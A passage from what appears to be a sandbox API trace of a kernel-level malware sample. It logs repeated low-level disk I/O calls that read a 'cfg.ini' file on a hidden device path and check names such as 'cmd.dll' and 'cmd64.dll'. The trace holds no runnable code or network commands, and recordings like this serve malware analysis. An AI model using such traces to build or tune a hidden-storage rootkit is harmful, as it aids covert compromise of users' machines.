ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.923] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.923] IdePortDispatch () returned 0x103 [0118.923] KeWaitForMutexObject () returned 0x0 [0118.923] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.923] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.924] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.924] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.924] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.924] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c9b10 [0118.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.924] KeLeaveCriticalRegion () [0118.924] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.924] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.924] KeEnterCriticalRegion () [0118.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.924] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.924] KeLeaveCriticalRegion () [0118.924] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.924] KeEnterCriticalRegion () [0118.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.924] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.924] IdePortDispatch () returned 0x103 [0118.924] KeWaitForMutexObject () returned 0x0 [0118.924] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.925] KeLeaveCriticalRegion () [0118.925] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.925] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.925] KeEnterCriticalRegion () [0118.925] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.925] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c42000 [0118.925] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.925] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.925] IdePortDispatch () returned 0x103 [0118.925] KeWaitForMutexObject () returned 0x0 [0118.925] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.925] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.925] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.925] IdePortDispatch () returned 0x103 [0118.926] KeWaitForMutexObject () returned 0x0 [0118.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.926] KeLeaveCriticalRegion () [0118.926] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.926] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.926] KeEnterCriticalRegion () [0118.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.926] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.927] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.927] KeLeaveCriticalRegion () [0118.927] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.927] KeEnterCriticalRegion () [0118.927] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.927] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.927] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ba0450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.927] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.927] KeLeaveCriticalRegion () [0118.927] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.927] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.927] KeEnterCriticalRegion () [0118.927] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.927] ExFreePoolWithTag (P=0xfffffa80039c9b10, Tag=0x0) [0118.927] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.927] KeLeaveCriticalRegion () [0118.927] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.927] ReleaseMutex (hMutex=0xf0) returned 1 [0118.927] Sleep (dwMilliseconds=0x124f80) [0118.946] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.946] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.946] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.946] KeEnterCriticalRegion () [0118.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.947] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.947] IdePortDispatch () returned 0x103 [0118.947] KeWaitForMutexObject () returned 0x0 [0118.947] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.947] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.947] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.947] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.947] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.947] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1a60 [0118.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.947] KeLeaveCriticalRegion () [0118.947] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.947] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.947] KeEnterCriticalRegion () [0118.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.947] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.947] KeLeaveCriticalRegion () [0118.947] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.947] KeEnterCriticalRegion () [0118.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.948] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.948] IdePortDispatch () returned 0x103 [0118.948] KeWaitForMutexObject () returned 0x0 [0118.948] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.948] KeLeaveCriticalRegion () [0118.948] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.948] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.948] KeEnterCriticalRegion () [0118.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.948] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c47000 [0118.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.948] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.948] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.948] IdePortDispatch () returned 0x103 [0118.949] KeWaitForMutexObject () returned 0x0 [0118.949] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.949] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.949] IdePortDispatch () returned 0x103 [0118.949] KeWaitForMutexObject () returned 0x0 [0118.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.949] KeLeaveCriticalRegion () [0118.949] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.950] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.950] KeEnterCriticalRegion () [0118.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.950] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.950] KeLeaveCriticalRegion () [0118.950] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.950] KeEnterCriticalRegion () [0118.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.950] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.950] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa7370, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.950] KeLeaveCriticalRegion () [0118.950] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.950] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.950] KeEnterCriticalRegion () [0118.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.950] ExFreePoolWithTag (P=0xfffffa80039d1a60, Tag=0x0) [0118.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.950] KeLeaveCriticalRegion () [0118.950] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.950] ReleaseMutex (hMutex=0xf0) returned 1 [0118.950] Sleep (dwMilliseconds=0x124f80) [0118.970] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.970] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.970] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.970] KeEnterCriticalRegion () [0118.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.970] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.970] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.970] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.970] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.970] IdePortDispatch () returned 0x103 [0118.970] KeWaitForMutexObject () returned 0x0 [0118.970] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.970] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.970] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.970] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.970] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.970] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcc160 [0118.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.970] KeLeaveCriticalRegion () [0118.970] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.970] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.971] KeEnterCriticalRegion () [0118.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.971] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.971] KeLeaveCriticalRegion () [0118.971] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.971] KeEnterCriticalRegion () [0118.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.971] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.971] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.971] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.971] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.971] IdePortDispatch () returned 0x103 [0118.971] KeWaitForMutexObject () returned 0x0 [0118.971] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.971] KeLeaveCriticalRegion () [0118.971] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.971] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.971] KeEnterCriticalRegion () [0118.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.971] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4c000 [0118.971] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.971] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.972] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.972] IdePortDispatch () returned 0x103 [0118.972] KeWaitForMutexObject () returned 0x0 [0118.972] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.972] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.972] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.972] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.972] IdePortDispatch () returned 0x103 [0118.972] KeWaitForMutexObject () returned 0x0 [0118.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.972] KeLeaveCriticalRegion () [0118.972] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.973] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.973] KeEnterCriticalRegion () [0118.973] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.973] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.973] KeLeaveCriticalRegion () [0118.973] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.973] KeEnterCriticalRegion () [0118.973] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.973] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.973] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ba0450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.973] KeLeaveCriticalRegion () [0118.973] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.973] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.973] KeEnterCriticalRegion () [0118.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.974] ExFreePoolWithTag (P=0xfffffa8003bcc160, Tag=0x0) [0118.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.974] KeLeaveCriticalRegion () [0118.974] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.974] ReleaseMutex (hMutex=0xf0) returned 1 [0118.974] Sleep (dwMilliseconds=0x124f80) [0118.994] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.994] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.994] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.994] KeEnterCriticalRegion () [0118.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.994] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.994] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.994] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.994] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.994] IdePortDispatch () returned 0x103 [0118.994] KeWaitForMutexObject () returned 0x0 [0118.994] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.994] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.994] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.994] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.994] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.994] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbf010 [0118.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.994] KeLeaveCriticalRegion () [0118.994] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.994] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.995] KeEnterCriticalRegion () [0118.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.995] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.995] KeLeaveCriticalRegion () [0118.995] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.995] KeEnterCriticalRegion () [0118.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.995] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.995] 